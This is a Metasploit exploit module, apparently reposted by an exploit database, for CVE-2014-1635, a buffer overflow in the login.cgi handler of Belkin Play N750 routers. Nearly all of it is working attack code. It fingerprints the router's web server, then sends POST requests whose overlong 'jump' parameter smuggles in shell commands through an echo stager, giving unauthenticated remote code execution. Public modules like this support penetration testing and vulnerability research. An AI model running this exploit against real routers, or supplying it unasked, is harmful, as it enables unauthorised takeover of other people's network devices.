## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Belkin Play N750 login.cgi Buffer Overflow', 'Description' => %q{ This module exploits a remote buffer overflow vulnerability on Belkin Play N750 DB Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing remote unauthenticated attackers to execute arbitrary code. This module was tested in an emulated environment, using the version 1.10.16.m of the firmwarey. }, 'Author' => [ 'Marco Vaz ', # Vulnerability discovery and msf module (telnetd) 'Michael Messner ', # msf module with echo stager ], 'License' => MSF_LICENSE, 'Platform' => ['linux'], 'Arch' => ARCH_MIPSLE, 'References' => [ ['CVE', '2014-1635'], ['EDB', '35184'], ['BID', '70977'], ['OSVDB', '114345'], ['URL', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'], ['URL', 'http://www.belkin.com/us/support-article?articleNum=4831'] ], 'Targets' => [ [ 'Belkin Play N750 DB Wireless Dual-Band N+ Router, F9K1103, firmware 1.10.16.m', { 'Offset' => 1379, } ] ], 'DefaultOptions' => { 'RPORT' => 8080 }, 'DisclosureDate' => 'May 09 2014', 'DefaultTarget' => 0)) deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => '/' }) if res && [200, 301, 302].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /minhttpd/ && res.body =~ /u_errpaswd/ return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown end Exploit::CheckCode::Unknown end def exploit print_status("#{peer} - Accessing the vulnerable URL...") unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") end print_status("#{peer} - Exploiting...") execute_cmdstager( :flavor => :echo, :linemax => 200 ) end def prepare_shellcode(cmd) shellcode = rand_text_alpha_upper(target['Offset']) shellcode << 'e' << cmd shellcode << "\n\n" end def execute_command(cmd, opts) shellcode = prepare_shellcode(cmd) begin res = send_request_cgi({ 'method' => 'POST', 'uri' => '/login.cgi', 'vars_post' => { 'GO' => '', 'jump' => shellcode, } }) return res rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end # Iranian Exploit DataBase = http://IeDb.Ir [2015-03-25]